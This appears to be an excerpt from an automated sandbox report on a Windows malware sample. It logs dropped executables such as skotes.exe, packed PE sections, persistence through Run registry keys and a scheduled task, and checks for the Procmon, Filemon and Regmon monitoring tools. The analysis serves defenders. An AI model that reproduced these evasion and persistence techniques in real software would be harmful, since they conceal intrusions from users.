Source: M0SHVBI03XTU9LNHD2O8UA8TC8F.exe.0.dr	Static PE information: section name:
Source: M0SHVBI03XTU9LNHD2O8UA8TC8F.exe.0.dr	Static PE information: section name: .idata
Source: M0SHVBI03XTU9LNHD2O8UA8TC8F.exe.0.dr	Static PE information: section name: pnhiajhq
Source: M0SHVBI03XTU9LNHD2O8UA8TC8F.exe.0.dr	Static PE information: section name: lwmvjhen
Source: M0SHVBI03XTU9LNHD2O8UA8TC8F.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: wehliqok
Source: skotes.exe.3.dr	Static PE information: section name: xquxcvvg
Source: skotes.exe.3.dr	Static PE information: section name: .taggant
Source: random[1].exe.9.dr	Static PE information: section name:
Source: random[1].exe.9.dr	Static PE information: section name: .rsrc
Source: random[1].exe.9.dr	Static PE information: section name: .idata
Source: random[1].exe.9.dr	Static PE information: section name: czpsekko
Source: random[1].exe.9.dr	Static PE information: section name: spvyrroo
Source: random[1].exe.9.dr	Static PE information: section name: .taggant
Source: 26e226f915.exe.9.dr	Static PE information: section name:
Source: 26e226f915.exe.9.dr	Static PE information: section name: .rsrc
Source: 26e226f915.exe.9.dr	Static PE information: section name: .idata
Source: 26e226f915.exe.9.dr	Static PE information: section name: czpsekko
Source: 26e226f915.exe.9.dr	Static PE information: section name: spvyrroo
Source: 26e226f915.exe.9.dr	Static PE information: section name: .taggant
Source: random[1].exe0.9.dr	Static PE information: section name:
Source: random[1].exe0.9.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.9.dr	Static PE information: section name: .idata
Source: random[1].exe0.9.dr	Static PE information: section name:
Source: random[1].exe0.9.dr	Static PE information: section name: letztgfz
Source: random[1].exe0.9.dr	Static PE information: section name: rrfcshya
Source: random[1].exe0.9.dr	Static PE information: section name: .taggant
Source: ef2532c0b1.exe.9.dr	Static PE information: section name:
Source: ef2532c0b1.exe.9.dr	Static PE information: section name: .rsrc
Source: ef2532c0b1.exe.9.dr	Static PE information: section name: .idata
Source: ef2532c0b1.exe.9.dr	Static PE information: section name:
Source: ef2532c0b1.exe.9.dr	Static PE information: section name: letztgfz
Source: ef2532c0b1.exe.9.dr	Static PE information: section name: rrfcshya
Source: ef2532c0b1.exe.9.dr	Static PE information: section name: .taggant
Source: J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe.13.dr	Static PE information: section name:
Source: J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe.13.dr	Static PE information: section name: .idata
Source: J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe.13.dr	Static PE information: section name:
Source: J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe.13.dr	Static PE information: section name: wehliqok
Source: J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe.13.dr	Static PE information: section name: xquxcvvg
Source: J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe.13.dr	Static PE information: section name: .taggant
Source: PPP8FUHMDUG38MZT5OEEJAB.exe.13.dr	Static PE information: section name:
Source: PPP8FUHMDUG38MZT5OEEJAB.exe.13.dr	Static PE information: section name: .rsrc
Source: PPP8FUHMDUG38MZT5OEEJAB.exe.13.dr	Static PE information: section name: .idata
Source: PPP8FUHMDUG38MZT5OEEJAB.exe.13.dr	Static PE information: section name:
Source: PPP8FUHMDUG38MZT5OEEJAB.exe.13.dr	Static PE information: section name: letztgfz
Source: PPP8FUHMDUG38MZT5OEEJAB.exe.13.dr	Static PE information: section name: rrfcshya
Source: PPP8FUHMDUG38MZT5OEEJAB.exe.13.dr	Static PE information: section name: .taggant
Source: 1USEAVXFST1CCUTT4RKEBB0FQ1.exe.13.dr	Static PE information: section name:
Source: 1USEAVXFST1CCUTT4RKEBB0FQ1.exe.13.dr	Static PE information: section name: .idata
Source: 1USEAVXFST1CCUTT4RKEBB0FQ1.exe.13.dr	Static PE information: section name: pnhiajhq
Source: 1USEAVXFST1CCUTT4RKEBB0FQ1.exe.13.dr	Static PE information: section name: lwmvjhen
Source: 1USEAVXFST1CCUTT4RKEBB0FQ1.exe.13.dr	Static PE information: section name: .taggant
Source: TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe.28.dr	Static PE information: section name:
Source: TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe.28.dr	Static PE information: section name: .idata
Source: TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe.28.dr	Static PE information: section name:
Source: TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe.28.dr	Static PE information: section name: wehliqok
Source: TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe.28.dr	Static PE information: section name: xquxcvvg
Source: TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe.28.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B0F8A4 push eax; ret	0_3_00B0F8A5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B0F8A8 pushad ; ret	0_3_00B0F8A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00B108BA push ecx; retf	0_3_00B108E0

Source: file.exe	Static PE information: section name: entropy: 7.980382453594375
Source: ST44OD0PMG8MCMYJRN4.exe.0.dr	Static PE information: section name: entropy: 7.982378905183867
Source: ST44OD0PMG8MCMYJRN4.exe.0.dr	Static PE information: section name: wehliqok entropy: 7.9535486843252885
Source: 9NWW1UIUAOJA8NFOZHWEDA.exe.0.dr	Static PE information: section name: letztgfz entropy: 7.95471366265782
Source: M0SHVBI03XTU9LNHD2O8UA8TC8F.exe.0.dr	Static PE information: section name: entropy: 7.7930446616651725
Source: skotes.exe.3.dr	Static PE information: section name: entropy: 7.982378905183867
Source: skotes.exe.3.dr	Static PE information: section name: wehliqok entropy: 7.9535486843252885
Source: random[1].exe.9.dr	Static PE information: section name: entropy: 7.980382453594375
Source: 26e226f915.exe.9.dr	Static PE information: section name: entropy: 7.980382453594375
Source: random[1].exe0.9.dr	Static PE information: section name: letztgfz entropy: 7.95471366265782
Source: ef2532c0b1.exe.9.dr	Static PE information: section name: letztgfz entropy: 7.95471366265782
Source: J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe.13.dr	Static PE information: section name: entropy: 7.982378905183867
Source: J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe.13.dr	Static PE information: section name: wehliqok entropy: 7.9535486843252885
Source: PPP8FUHMDUG38MZT5OEEJAB.exe.13.dr	Static PE information: section name: letztgfz entropy: 7.95471366265782
Source: 1USEAVXFST1CCUTT4RKEBB0FQ1.exe.13.dr	Static PE information: section name: entropy: 7.7930446616651725
Source: TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe.28.dr	Static PE information: section name: entropy: 7.982378905183867
Source: TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe.28.dr	Static PE information: section name: wehliqok entropy: 7.9535486843252885

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File created: C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File created: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File created: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File created: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 90bef5afae.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ef2532c0b1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 26e226f915.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 26e226f915.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 26e226f915.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ef2532c0b1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ef2532c0b1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 90bef5afae.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 90bef5afae.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
